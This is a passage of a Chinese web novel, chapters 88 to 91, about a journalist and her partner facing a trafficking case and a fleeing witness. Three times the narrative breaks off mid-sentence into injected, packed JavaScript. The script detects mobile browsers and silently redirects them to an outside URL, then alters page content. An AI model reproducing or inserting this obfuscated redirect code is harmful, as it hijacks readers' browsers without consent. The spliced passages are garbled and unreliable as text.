“行,说得通,”齐寻花了些功夫消化了她讲述的一切后,竟有闲心盘起了之前的事:“那影姐在车上都跟你说了什么,为什么一回到京屿,你就不对劲了?” 此时此刻,整个疗养院已经安静下来,惨白的灯光覆在这个称得上逼仄的病房,黎策在睡梦中呼吸平稳,而他们两个人坐在病床上,一点一点复盘这些细枝末节。 此情此景,黎叙闻只觉得荒谬:“……她跟我说,因为她不肯承认自己的过往,毁掉了很多东西,问我不接受你,又是不想承认什么。” 齐寻点头:“嗯,所以你不想承认的,就是这个。” “你这个人怎么分不清轻重缓急……” 齐寻竖起手掌打住她的抱怨:“哦,这么说来,你在隔音室说起的,需要心无旁骛地跟我好好解释的事,也清楚了。但现在一切还没落定,刚刚甚至那么危险,你为什么突然带我来这里,跟我说这些?” 黎叙闻:“……” 她忽然很后悔。 “没有为什么。”她撇开脸,故意不看他。 “我不想在你爸面前太轻浮。”齐寻盯着她半低的侧脸:“转过来,看着我,别让我动手。” 黎叙闻耳朵一片通红,耳后的小蛇好像马上要长出翅膀,飞走了。 她一咬牙,竟真转回去看着他:“因为刚刚,我发现我根本接受不了失去你。” 这种话只要说出一句,剩下的就会像潮水一样,一浪接着一浪,不管不顾地涌出来:“我发现我原本的打算根本行不通,什么为了保护你所以要推开你,我自己都接受不了。如果我不把这些都告诉你,可能还没去战场,我就先后悔得发疯了。” “既然认清了自己的心意,我就不想再浪费时间。” 这就是她这个人,全部的真相了。 现在,轮到另一个人抉择。 她视线锁住他的眼睛,目光又亮又锋利:“赌局就在这,我下注了,该你了。” 齐寻一瞬不瞬地盯了她很长时间,盯到最后,这辈子所有的不平、不忿、不甘心,全部在她期待而坦率的眼神里,炼成了一个释然的笑意。 “我这辈子失去过很多东西——爸妈死在地震里;外婆觉得是我克死我妈,门都不让我进;我第一个拼命救的人,连尸体都没找到;还有同学、队友、本来应该无忧无虑的人生。所以我很早就明白了一个道理:如果拥有什么,你最好不要挑剔,并且要不顾一切、不惜代价地握紧。” 他说这番话,根本没花功夫遣词造句,好像他活到今天,就是为了来给她讲这些:“你愿意做调查记者你就做,想去战场你就去,我不能说我一定能保你无虞,那太不知天高地厚,但我能一直陪着你,你被人报复我挡着,你去战地我跟着,你缺胳膊少腿我来养,就算最后你像你爸一样,我也一直守着你——只要你在我身边,让我看着你,不管你是什么样子,对我来说,都已经赢了。” 齐寻望着使劲咬住下唇,几乎止不住泪意的黎叙闻,笑得极为笃定:“所以我早选好了——我Allin.” …… 等他们从疗养院回到黎叙闻家,时针已经匆匆跑过凌晨十二点半。 黎叙闻随意洗了个澡,便上床沉沉入了梦乡。 对她来说,这真的是很长、也很好的一天。 齐寻安静躺在她身边,静静感受她温热的气息像黑暗中的小小触角,正透过凌晨微凉的空气,丝丝缕缕攀上他的肩头。 他睁着眼睛,看卧室里不知看过多少遍的天花板,总觉得它意外地好看。 齐寻第一次在闻闻身边失眠了。 他实在不敢睡,只怕再一睁眼,发现自己又躺在毛坯房里,一切又是他妄想中的美梦。 她的呼吸声听起来比任何时候都平静,一声一声灌进他心里,温热的水似的,灌得他整个人沉甸甸的,像很小的时候,骑在父亲脖子上从游乐场回来,吃完妈妈做的糖水,然后躺在床上,那种遥远而真实的满足。 我就是为了今天活着的,他想。 她放在身侧的小指忽然轻轻动了动,齐寻立刻伸手过去,也用小指碰了碰她的,黎叙闻在睡梦中似有所感,慢慢勾住了他的手指。 她手指细长,在他手中总显得纤弱,而这一点纤弱刺进他沉甸甸的满足里,却倏而长成了难以忽略的不安。 这是他好不容易才拥有的,可他孑然一身惯了,竟觉得这种幸福脆弱,注定被人抢夺、遭人破坏,他也会像从前的每一次一样,注定得而复失。 那点不安得寸进尺、攻池掠地,以他得来不易的幸福感为食,最后竟长成了参天的恐惧。 他手指动了动,发现掌心里全是薄汗。 齐寻一下子从床上坐起来。 他必须做点什么,不然他会被这种恐惧折磨死。 正好,外面还有一个他应该料理的人。 …… 凌晨一点四十,齐寻驱车来到交警大队,直奔事故处理科。 值班警员人困马乏,见了他立刻从座位上弹起来:“您有什么事?” 齐寻开门见山:“今天晚上在崤山路那边,我车让人给别了,挺严重的,但对方肇事逃逸,我想来查下监控。” 警员问了时间和具体地点,调出监控一看,声音都高了:“这叫车让人给别了?为什么不报警?” “小事,人也没伤着,”齐寻来的路上已经编好了说辞:“当时有急事,就先走了,回去一看还挺严重。” “有多严重?”警员肃着脸,抽出一张登记表:“当时什么情况?” “警察同志,家里有老人要养,我这车还要跑滴滴,等不起这个。”齐寻按住表格:“你帮我看看他最后去了哪,我去找他,走保险私了就行。” 警员拧着眉头看了他半天,连问好几遍“你确定吗?”,得到肯定答案后,叹息一声,一段一段调出沿途监控,天网系统把皮卡的行车轨迹一路网罗殆尽,最后停在了崤山路附近的一家小修理厂门口。 齐寻看了眼时间,从皮卡到修理厂、司机下车进去到现在,刚过了十分钟。 “注册的地址电话也给你,”警员打印出一张纸:“有问题立刻报警,明白吗?” 齐寻扫了一眼纸条,道了谢,驾车离去。 凌晨两点十分,齐寻从汽修厂旁的角落,跟上了开着皮卡准备回家的司机,一路跟到郊区一片杂乱自建房。 皮卡缓缓停在一处入口的路基旁,熄了火,一个身量不高的瘦子从驾驶室跳下来。 齐寻看着他往前走了十来米,忽然打火,一脚油门重重踩下,牧马人呼啸着,直直冲向皮卡左前轮! 砰—— 巨大的钝响撕裂夜色,周边围墙震颤着落下尘土。 皮卡前悬挂应声而断,侧向车头被撞出一个骇人的凹陷。 刚走出几步的司机,在前车灯的碎裂声中茫然地转过头来。 那辆牧马人并未倒车,反而用加固过的保险杠死死顶住皮卡,皮卡的引擎盖在轮胎轰然空转的抓地声中,像脆皮一样一点一点地翘了起来。 皮卡车头严重变形,冷却液的甜腥气混着机油的气味,在风里飘散。 司机隔着尘土刚一看清,立刻嚎叫一声,冲着牧马人就冲了过来! 齐寻双手离开方向盘,脚下油门踩死,一只手臂架在车窗下缘,面无表情地降下车窗。 司机一见是他,抹了把脸,哆嗦着指着他半天,才骂出一句:“你、你他妈……” 齐寻慢条斯理:“干这种脏事,还用自己的车?” “什么脏事?”司机抵赖:“不就是没控制好方向,你、你有什么证据?” “行,”齐寻点头:“你有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎叙闻躺回他身边,把侧颊枕上他肩膀:“嗯……好像没做梦,又好像……听见了水的声音。” 齐寻一下睁开眼睛。 那哪是她在做梦,那是他凌晨四点半回到家,一身的尘土和机油味,大半夜的洗了个澡。 洗完才爬上床,继续演他的乖乖男朋友。 此时天光大亮,晨曦刺破清晨薄雾,在卧室盖下一层轻软的光。 黎叙闻下巴垫在他肩头,乌黑碎发也一同落在他身上,睡了个好觉,皮肤亮得要发光,一抬眼,便对上齐寻垂下来的目光:“嗨,男朋友~” 齐寻的心瞬间被击中了。 这软萌乖顺的样子,是只属于他一个人的秘密宝藏。 他目光太专注,看得黎叙闻心猿意马,实在没忍住,一手攀着他宽厚的肩膀,在他唇上轻轻咬了一下口。 齐寻眸光猛地一晃,伸手覆上她腰间,用上了自制力,才没有隔着丝质睡衣留下痕迹。 她另一只手按住的他的胸口,肌肉线条蓦地紧绷起来。 说来也奇怪,他们亲也亲过,抱也抱过,在外人面前甚至是一对感情不错的恩爱夫妻,这种亲密的举动,早就不该有什么不安和羞涩。 可等他们不再扮演深情,真正敞开了面对彼此时,才发现这些动作、这些表情,分明都另有用意。 黎叙闻盯着他饱满的嘴唇,按在他胸口的手掌忽然发烫,好像有一根柔软的羽毛,在她心上细细地挠。 很痒,很想抓住什么东西,然后…… 她猛地坐了起来。 齐寻看着她一下子弹起来,压到了睡裙,半个肩头从领口探出头来,在晨光里覆着一层莹白细腻的光。 她背对着她,呼吸艰难,对这一缕遗失的春光好像浑然不觉。 他深深咽动一次,开口声音先哑了:“饿吗?” ……都挺饿的。 “不吃了,来不及了。”黎叙闻一掀被子下了床,都不敢回头看他:“你去录音棚?顺路吗?” 齐寻:“……” 不是顺不顺路的问题。 昨天半夜他的车被他造得保险杠都断了,他停在小区一百米开外,走回来的。 这要让她看见,可怎么解释? “上午要跟人开会,可能来不及。”他顿了顿,又问:“你喜欢什么车,想换一辆吗?” 黎叙闻很莫名:“你的牧马人不够用?跟马跑了?” 跑了倒还好了呢,省得修了,齐寻想。 黎叙闻上班真来不及了,匆匆跑去洗漱换衣服,刚洗了脸,手机就跟催命一样响起来。 是小茉。 “喂,闻姐,你快到了吗?” 黎叙闻衣服还没挑好,随口道:“嗯嗯,到楼下了。” “好哦,有人找你。” 黎叙闻心道又是什么来找事的人,便问:“门口登记了吗?叫什么?” “她说……”小茉似乎扭头去确认了一下,才说:“她说她叫青苹。” 89. 第 89 章 等黎叙闻火急火燎赶到报社,青苹已经在小会议室,望眼欲穿地等了她半小时了。 青苹穿着一件宽大的灰色卫衣,下身一条牛仔裤,低马尾,厚镜片,听到有人路过的时候会飞快抬头看一眼,然后又飞快地低下头。 总而言之,是最普通、最不会引起别人注意的那种女孩。 黎叙闻推门进来,动静吓了她一跳,她身体猛地瑟缩一下,又端住了表情,谨慎地看着这个传说中的调查记者。 黎叙闻冲她微笑:“你好,我是黎叙闻。” 青苹极小幅度地点点头,两只手紧紧捧着纸杯,眼睛一眨不眨地盯着她。 任谁都能看出,这种表情叫做“欲言又止”。 她经历特殊,交流起来必须慎之又慎。黎叙闻坐在她对面,柔声道:“从哪里过来的?远吗?” 青苹还是盯着她,声音轻得几不可闻:“这里安全吗?” “如果报社都不安全,那我们只有去警察局了。”黎叙闻笑道:“怎么突然决定自己过来?” 前两天还在遮遮掩掩,恨不得发一封邮件就换一个IP,今天突然风格大变,肉身上门,绝对是发生了什么重大变故。 以青苹的谨慎,黎叙闻早就做好了在小会议室耗上一天的准备,怎料这个问题一出口,青苹突然大力地抓住她的手腕,语速快得惊人:“她们失踪了,她们被带走了!” 黎叙闻一惊,顾不上腕间吃痛:“谁?谁失踪了?被谁带走了?” 青苹嘴角神经质地抽动了一瞬:“下一个,下一个就是我。” 在那个不为人知的群聊里,青苹一直都是情绪最不稳定的那一个。 被囚禁的那段日子,对她的创伤似乎尤其深,一提起来她就容易情绪失控,就像那天在直播间一样,很多行为反应,她根本控制不了,更别说商量什么正事。 久而久之,哪怕是一起逃出来的姐妹也对她挑剔,不爱搭理她。 除了橙光。 橙光是一个真正坚强又温柔的人。 不管青苹在群里崩溃多少次,其他人有多嫌弃她,骂她骂得有多难听,橙光总是那个站出来替她说话的人,哪怕跟别人争吵,橙光也从不害怕。 在青苹眼里,能称得上朋友的,只有橙光一个。 群里的每个人都有一部备用手机,没实名登记过,用来在紧急的时候联系。 一开始,大家约定,备用手机绝对不能关,每天安排一个人,把所有人的号码都打一遍,确保所有人都还平安。 但那只是最开始,大家惊魂未定,觉得全世界都要害她们,哪怕跑到天涯海角,都会把她们抓回去。 后来日子渐渐稳定,她们几个好像真的被遗忘了,她们的备用电话,也就成了历史。 只有青苹没有忘记。 每次轮到她的那天,她总会一丝不苟地把所有人的电话都打一遍,那些电话不是成了空号,就是关机,听筒的对面,永远都是电子音。 她这个人就像一座墓碑,身上刻着那段过往,一直背负到时间尽头。 但有一个人,每次都会接她的电话。 这个人当然是橙光。 不但会接,如果哪天她有事打晚了,橙光还会主动联系她的备用号码,问问她在哪里,在做什么,再陪她聊两句,确定她没事之后,才会挂电话。 这种日子一直持续到那场直播。 她又没控制好情绪,暴露了她们的存在,群友们再不想忍她,顺理成章把她赶了出去。 又过了两天,青苹在邮件里同意黎叙闻爆出已经找到受害者的消息,当天晚上,她收到橙光的消息:群里的人决定见面。 她们之前谁都没有见过面,青苹也不想见她们。她唯一好奇,想见上一面的,只有橙光。 前天又轮到她“执勤”,她照例打了一圈电话,全是意料之中的电子音,最后她搓搓手,准备给橙光打电话,想问问她,打算穿什么去见面呀。 但是橙光没有接。 那天晚上,青苹一整夜都在打橙光的电话,直到对方手机没电,提示关机。 这么多年,橙光就算当时接不到,十分钟之内一定会回给她,从来没有错过她一通电话。 她真的害怕了。 这个世界上她唯一信任的人,就这样凭空消失了。 对一个已经很多年没有接触过社会的人来说,这是她彻底陷入绝境的时刻。 报警吗?可她不知道橙光的本名,更不知道她住哪里。 继续等吗?等到什么时候才算完? 万一、万一橙光真的出事了,再等下去,不就彻底完了吗? 思来想去,她竟然只有一条路可以走了—— 那个一直在找她的记者。 那记者还算有信用,说不会逼她,就真的没有逼她,哪怕别人骂得都那么难听了,她也从来没有逼过她。 更重要的是,她好像很强,看起来……可以救橙光。 抱着对一个陌生人莫名其妙的信念,已经三年半没有出过社区的青苹,就这样踏上了来京屿的高铁。 “你能帮她,你能帮她的,对吗?”青苹支离破碎地讲清楚这些,第一时间倾着身体,直勾勾盯着黎叙闻的眼睛:“你有那么多办法,你一定能找到她!” 黎叙闻放轻声音,尽量安抚:“那我们起码得知道,她人在哪里,最后在哪里出现。” “不知道,我什么都不知道……”青苹眼神不妙地左右来回扫:“但你相信我,她肯定是出事了,她从来不会这样的,她……” “好了!”黎叙闻不得不在她崩溃之前打断她:“这样,我先安排你住下,是我们报社的地方,安全有保障。我尽快想想办法。” 她半是搀扶半是强迫地把青苹从座位上拉出会议室,路过编辑部时对小茉随口叮嘱了一句:“这两天帮忙注意一下各平台的寻人启事。” 小茉“咦”了下:“你不是才来吗,怎么知道有两条寻人启事刷屏了?” 她小跑过来,把屏幕递到黎叙闻跟前:“昨天晚上发的,前后脚,都是不到三十岁的姑娘,奇怪的是她们住得天南海北,最后都在同一个地方消失了,所以大家都在讨论,感觉是什么玄学。” 青苹也怯生生凑上来看,忽然很大声地“啊”了一声,吓了整个编辑部一跳。 “这个头像……”她指着寻人启事里包含的微信聊天记录:“是橙光啊!” 黎叙闻不可置信地看向她:“这就是个普通的AI头像,你怎么看出来的?” 青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152365|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苹上手把图片放大,指着头像上方一块突兀的白色:“橙光不喜欢蝴蝶,这朵云,是她自己画的!”一句话没说完,她眼泪就先出来了,脚下一软就要扑倒:“我不会认错的,因为、因为她也给我画过……” 黎叙闻眼疾手快,一把捞住她,众目睽睽之下又把她提溜回了小会议室。 青苹整个人都是软的,被按回椅子上好像浑然不觉,腿抖得厉害,攥着她的小臂一遍又一遍道:“你想想办法吧,你救救她,我做什么都愿意的,你救救她……” 黎叙闻双手用力按住她肩膀:“安静,你先听我说!” 她不管青苹有多崩溃,直接上手捂住她不停絮叨的嘴:“我救不了她,商报也救不了她,现在这世界上,只有你一个人能救她!” 这句话终于成功阻截了青苹无意识的哭叫,她在持续不断地抽噎里慢慢安静下来,询问地看向黎叙闻。 “到底是谁绑架了她们,你知道,我知道,但警察不知道。橙光她们已经失踪一天多了,现在再从她们消失的地方开始查,等查到下落,她人都凉了。”黎叙闻一改之前小心谨慎、生怕戳到她玻璃心的风格,刀子捅得又狠又准:“但如果你出面报警,指认蔡道全,把你们经历的一切全部说出来,警方很快就能控制他,然后顺藤摸瓜,锁定她们的下落。” “青苹,”黎叙闻语重心长:“橙光只能指望你了。” 青苹被她压制着听完,怔愣地问:“报警?我?” 她摘了眼镜,抹了一把脸上的汗水,突兀地笑出声来。 “你想让我死吗?”她含泪质问:“万一他背后还有别人呢?万一证据不足,警察抓不了他呢?我们遮遮掩掩这么多年,不是为了今天一起抱团去死的……不,我不去报警,我……” “所以呢?你还打算继续躲下去?”黎叙闻厉声问:“其他人有丈夫、有朋友,社会化比你强得多,都会这样一夜之间消失,你觉得再拖下去,你能独善其身?” 事到如今,她打算一记猛药下到底:“你不愿意出面,我没办法逼你,但这件事也只能到此为止了。我是记者,不是圣母玛利亚,你跟橙光那么亲近的关系,都不愿意为她冒风险,我跟你们非亲非故,我又凭什么?” 青苹被她这一通质问镇住,目光失焦着愣了好半天,反复张嘴想反驳,却找不出一点能反驳的理由。 沉默了良久,她才慢慢问:“真的,只有这一条路了吗?” “是的,”黎叙闻揉着太阳穴,疲惫道:“现在已知的受害者,除了你以外,全部都被他们控制了。如果你不站出来,他的罪行将无人指认。那么多已经开不了口的受害者,也就没办法沉冤昭雪。” 青苹蓦地捂住自己的脸,失声痛哭:“凭什么,凭什么是我?” 她一直习惯躲在人身后,连逃跑都是跟着别人跑出来的,最胆小、最没有存在感的人,最后竟要挑起这样的责任。 我不过是想平安活着,她想,凭什么? 可偏偏这个时候,橙光给她画的那朵白白胖胖的云彩,又飘到了她心上。 她没有亲人、没有朋友,如果不是橙光,她可能早就活不下去了。 “我可以去报警,”半晌,青苹忽然抬起头,脸上还挂着泪:“但我需要一点时间。” 90. 第 90 章 黎叙闻安排她住在跟商报合作的酒店,漫长的劝说和拉锯之后,青苹终于答应,第二天一早跟她去报警。 等她嘴唇干裂地从青苹的房间出来,才想起来,今天是她跟齐寻在一起的第一天。 是不是……应该有点仪式感? 要不回去换件衣服,出去吃顿饭? ……但苦口婆心跟青苹磨了一整天,她实在是累,除了床她哪都不想去。 饶是如此,她还是给大录音师打了通电话,想问问他什么想法,结果响铃响到自动挂断,那边都没接。 黎叙闻控制欲瞬间暴涨:怎么,这才第一天,就有胆子不接电话! 你忙,我还不想理你呢! 就这么憋着一口气打车回到家,一踏进门,一片粉紫色的海洋扑面而来。 黎叙闻愣了一下,后退半步,抬头看了看门框上的门牌号。 ……没错啊? 她狐疑着拨开被挤得漫天乱飞的气球,试探着叫:“齐——” 一张嘴,一个惊天响的喷嚏瞬间捏住她的鼻子! “阿嚏!” 喷嚏只要一开始,就没完了,黎叙闻站在自家门口,大喷嚏打得头晕眼花,愣是半天没进得了门。 齐寻闻声赶来:“回来了?” “啊,阿嚏——不是,你,你这是,阿嚏——整的什么东西?” “感冒了?”齐寻把她拉进门:“网上说要有点仪式感,”他回身指了指摆在客厅中央的一捧巨大的玫瑰:“想起认识这么久,都没送过你花。” ——于是他也不知道,黎叙闻花粉过敏。 “快!趁、趁我把脑子打出来,阿嚏!打出来之前,给我把它处理掉!”黎叙闻满脸都是泪:“不然你就直接给我收尸吧!” 好一通兵荒马乱的折腾,家里空气过滤器都呼呼转了半天,黎叙闻才堪堪止住喷嚏,泪眼盈盈看齐寻:“总有刁民想害朕。” 齐寻忙着给她擦鼻涕擦眼泪:“我看他们说,女人都喜欢花,喜欢仪式感,说要送就送999朵……” 黎叙闻苦笑:“女朋友感动得都哭了?” 齐寻扬起眉头:“你怎么知道?” “因为你女朋友现在是真哭了,”黎叙闻又擦满一张纸巾,团吧团吧扔进已经要吐的垃圾桶:“你哪怕给我送999张人民币呢,10块的也行啊。” 齐寻失笑:“黎叙闻女士,我看你是不记得了,咱们虽然刚在一起,但已经是合法夫妻了,所以不管送你多少钱,那都是咱俩的共同财产。” 黎叙闻抿着嘴想了一会儿,非常明事理地点点头:“你说得对,但是我不管,我就要。” “行,要。”齐寻给她倒了杯水,自己先试了水温,才递给她:“明天我整理一下家当,全给你,行不行?” 黎叙闻笑得不行,伸手环住他脖颈:“来而不往非礼也,要不晚上我先请你吃顿饭?” 齐寻摇头,指了指餐桌,脸色犹豫起来:“那……那个也要撤掉吗?” 黎叙闻扭头望向餐厅,长长的餐桌上摆着烛台,餐具统统换成了金丝骨瓷的,把她用惯的不锈钢N件套比得见不得人,餐巾还折成了扬着鼻子的小象。 描了金边的烛火摇曳跳动,在渐暗的天色里,轻跃着跟天边浮动的鎏金遥相呼应。 收拾得一丝不苟的桌上摆着…… 外卖。 黎叙闻:? 劝青苹时一直突突跳的太阳穴又开始隐隐作痛了。 她一边往餐厅走,一边愤愤道:“我告诉你,这顿外卖最好配得上咱们在一起第一天的意义,不然……” 她看到了外卖单—— 鹅肝慕斯配无花果果酱与香脆法式吐司 龙虾浓汤 和牛菲力牛排配松露酱 香煎海鳗配香草黄油 法式焦糖布丁 马卡龙拼盘 黎叙闻:“……” 虽然不想显得太好哄,但她确实被哄好了。 齐寻从身后抱住她,整个人将她罩起来:“你明天还上班,就没要酒。” 黎叙闻靠在他怀里笑,伸手去摸他刚冒头的胡茬:“我以为是什么为了攒彩礼的国潮外卖。” “该带你去餐厅吃,但早上你走得急,我猜可能又忙了一天。”齐寻低头,把下颌靠上她肩膀:“怎么样,还配得上你吗?” 带着笑意的热气喷薄在她侧颈,黎叙闻微微瑟缩一下,转头轻轻吻他的耳垂:“齐寻?” “嗯?” 她很想说句谢谢,又觉得实在生分,想来想去,只能转身回抱他:“喜欢你。” 这句表白来得太猝不及防,齐寻浑身一僵,轻轻按住她后枕:“你说什么?” “我说,喜欢你。” 他清了下喉咙:“嗯。” 黎叙闻不依不饶,直往他怀里钻:“喜欢你喜欢你喜欢你。” 齐寻把自己红透的耳廓藏进她的发丝:“我……也喜欢你。” …… 这天晚上,黎叙闻本来是真有点坏心思的。 毕竟馋了这么久,好不容易确定关系、持证上岗了,还盖棉被纯聊天? 开什么玩笑,又不是戒过毒。 可她窝在齐寻怀里,真的就只来得及说了两句话,直接就累得昏迷了。 昏迷之前手还在摸腹肌。 齐寻无声笑着,把这只不老实的手摘下来握进掌心,亲了亲她的额发,也是一夜好眠。 不好好睡没办法,因为黎大记者睡前下了命令,让他第二天陪她和青苹一起去报警。 她当时迷迷糊糊的原话是:“那女孩胆子太小了,我觉得她需要一个高大强壮的工具人,给她壮壮胆。” 小没良心的,齐寻垂着视线,看她窝在自己胸口的侧颜,上手捏了捏,心想,工具人就算了,还借给别人用。 第二天黎叙闻醒来的时候,发现工具人已经穿戴整齐,买好早饭,只等她准备好出门了。 这人积极得让她莫名,尤其吃饭的时候,那欲言又止的眼神,实在令人在意。 “一大早的怎么了?”黎叙闻咬着个烧麦:“没睡好?” 齐寻踟蹰了半天,才说:“要是见了你们报社的同事,我怎么自我介绍啊?” 黎叙闻笑了:“就因为这个?” “……这不重要?” 黎叙闻点点头:“是重要,那你说,你想怎么自我介绍?” 齐寻不假思索:“老公。” “可除了老马,谁都不知道我结婚了,”黎叙闻故意低头去喝牛奶,不让他看见坏笑:“这一下子不就把我出卖了么。” “那未婚夫,”齐寻唇角平直:“不接受降档。” 黎叙闻大笑:“瞧你心眼小的!我们直接去酒店,不去报社,应该碰不上同事。” 齐寻面无表情点了点头:“哦。” 低头吃了两口包子,又不甘心似地:“那下次我去办公室接你。” “……好好吃饭!” 等她终于挑好衣服下楼,又发现了新的问题。 “你车呢?”黎叙闻指着空荡荡的停车位,问。 “啊,”齐寻蹭了下鼻子:“借给别人了。” 借给4S店,做全身大手术去了。 “哦,”黎叙闻不疑有他:“两天不见,怪想它的。” 齐寻:“……这句话你都没对我说过。” “你人就在我家,什么时候两天没见到了?” “之前。” “以前是以前!再说你怎么知道我没想?” “你想了?”齐寻一下子来了精神:“什么时候?怎么想的?” 黎叙闻干笑:“没有,你听错了。” “你质疑我专业技能?” …… 就这样一路斗着嘴,打车到了酒店楼下。 黎叙闻还没干正事,已经开始累了:“齐寻,我以前怎么没发现你话这么密?之前那个沉默可靠的样子,演的是吗?” 齐寻冷笑:“概不退货。” 黎叙闻无奈道:“一会儿见了青苹,别提咱俩的关系,我担心她瞎想。你就说你是我同事,主打一个震慑……” 两人停在青苹房间门口,黎叙闻叮嘱的后半句话,就这样堪堪断在半空。 ——房间门大敞着,里面酒店工作人员正抖着被单,打扫卫生。 “怎么回事!”黎叙闻冲进去:“人呢?” “退房了呀,”工作人员莫名其妙:“她说要去见你,你没看到她?” “什么时候走的?” “不到一个小时吧。” 她立刻给青苹拨电话,冰冷的电子音响起,提示她对面已关机。 黎叙闻脑袋嗡的一声,提着半口气,半天没缓过神来。 只顾担心青苹的安全,怎么就忘了,她完全有可能反悔,直接自己跑路了! 齐寻拿出手机:“要叫车吗?现在去车站应该还来得及。” 黎叙闻站在空荡荡的房间门口,忽然觉得疲惫至极。 “不必了,”她深吸一口气,道:“她根本没告诉我她家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156537|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哪里。” 京屿有那么多车站,那么多人,只要一个人混入人海,想找她,何异于大海捞针。 其实也不是没有办法,黎叙闻可以直接报警,把来龙去脉跟警方说清楚,天网系统疏而不漏,只要人还在京屿,她再会躲,也总能把她从犄角旮旯拖出来。 她那么怯懦,只要进了公安局,不必担心她不开口。 黎叙闻掏出手机,点开拨号键盘,盯着“1”看了很长时间,却始终没有按下去。 现在报警,当然可以抓到她,可这么做,无异于扼杀掉青苹对世界的最后一点信任。 黎叙闻不是圣母,她很清楚,对面那几个失踪的女孩等不起,这个时候谈信任,实在奢侈。 可调查记者的经验告诉她,如果没有信任,即使一切看上去万无一失,也无法保证青苹不会被吓得精神出现问题,不会最后因为害怕而翻供。 到那时候,等待她们的,将是更大、更难以触碰的深渊。 黎叙闻在一片嗡煌的耳鸣中,慢慢握紧了手机。 再给她一次机会,她想,三个小时,最后再等她三小时。 如果到中午青苹还没有回音,那她也别无选择。 黎叙闻打开微信,试探着发了个表情,发现青苹已经把她拉黑了。 黎叙闻:“……” 她编辑了一条很严厉、堪称最后通牒的短信,写完之后,又全部删掉了。 沉吟了很久,最后她写:“很害怕,对吧?我都明白的。在这么巨大的压力面前,只想把头塞进沙子里当鸵鸟。很多时候我也跟你一样,承受不住压力,就先不去看。但是每次我都会发现,因为我的恐惧和拖延,事情不可避免地变得更糟。” “我不太想指摘你的选择,但我很担心你。等你回到家,身边没有能信任的人,你该怎么面对这些?你为了橙光,一个人跑这么远来京屿,来见一个根本没见过面的记者……你这样一个柔软的人,要怎么面对橙光再也回不来了?” “那种感觉是很不好受的,没有选择的另外一条路,会日日夜夜折磨你,你可能会一刻不停地想,如果那时候我没选择离开呢,事情会不会变得不一样?在漫长的时光中,你会慢慢相信,是的,事情会变得不一样,是因为你的选择,造就了你的悔恨。” “我还在这里等你,就在酒店楼下。我等你到十二点,如果到时候你不出现,那我就明白你的选择了。” 这一段发出去后,黎叙闻就知道,她所能做的一切努力,到这一刻,是真正到头了。 余下的,就只有等,等不来,就釜底抽薪,彻底粉碎一个人的信任和安全感,去救更多的人。 ……走到这一步,实在非她所愿。 “你先回去忙吧,”黎叙闻抬起头看齐寻,自己都没意识到自己严肃的表情:“不好意思让你白跑一趟……唔……” 最后半句被齐寻捏起脸颊,挤扁了。 “你还要等她,是不是?” 小包子点点头。 “等到什么时候?” “中午。”小包子说。 “那我跟你一起等。”齐寻松开手:“‘不好意思’这四个字,我希望今天是你最后一次跟我说。” 说完长腿一迈,先去按电梯:“楼下大堂有沙发,去坐着等。” 黎叙闻揉揉被捏痛的侧脸:“你不回录音棚了?耽误工期怎么办?” 齐寻笑:“之前你气我的时候,怎么不操心我工期?” 黎叙闻:“……我发现你特别爱翻旧账。” “话密、爱翻旧账,”齐寻数着:“还有什么?” 黎叙闻哂笑一声,牵住他的手:“我去跟救援队的各位讲,恐怕谁都不信。” 她当然知道这些都是她独享的样子,她自己不也一样,如果把她在家跟齐寻撒娇的样子拿去报社功放,恐怕所有人都会觉得是AI换脸。 大概在爱人面前,总会露出一些柔软的、外人无从知晓的样子,就像未经世事之前,最真实、最纯净的模样。 一楼大堂。 齐寻面对着酒店大门,盯着门口,问:“所以你打算等到十二点,她不出现就去报警?” “是。” “你有多大把握?” 黎叙闻低头看手机,焦虑得来来回回切APP:“不知道,现在她根本拒绝跟我交流……啊!” 齐寻一惊:“怎么!” 黎叙闻瞪大眼睛,把手机举给他。 屏幕上一水儿的蓝色短信,全部显示已读。 “她看见了。” 91. 第 91 章 然而发过去的苦口婆心被全部已读之后,那边依然没有任何动静。 黎叙闻盯着通讯录里的那个名字,点开又退回,点开又退回,齐寻实在看不下去,劝她:“不然再打个电话?” 黎叙闻手指停在号码上,犹豫再三,还是把手机锁了屏:“算了。” “说等到中午,就绝对不能再逼她。”黎叙闻仰面靠倒在沙发靠背上:“得让她自己做决定。” 焦虑的等待将时间无限抻长,一分钟变成一整天,一小时变成一整年。 直到黎叙闻的神经彻底失去弹性,她期待的那个身影,依然没有来。 她垂眼看了眼手机,十一点四十五。 这个数字都像是在无声地嘲笑她,在想什么呢,青苹就是那样一个人,她凭什么认为自己的几句话,就能让人家放下戒备? 又在天真了,她想。 侧脸忽然碰到一阵冰凉的触感,她扭头一看,是齐寻递来一瓶水。 她接过来喝了一口,又想到了齐寻给她讲过的那个故事。 主人公被困在地下,坚信会有人来救他,最后终于在紧要关头等到了救命的那瓶水。 那时候他在电话那头,声音嗡沉,说,相信相信的力量。 这句话她不是第一次看到了,但从齐寻口中说出来,就好像带着一些遥远的回音。 他提过他父母是在地震中过世的,那这个被埋在地下,最终得救的人,又是谁呢? 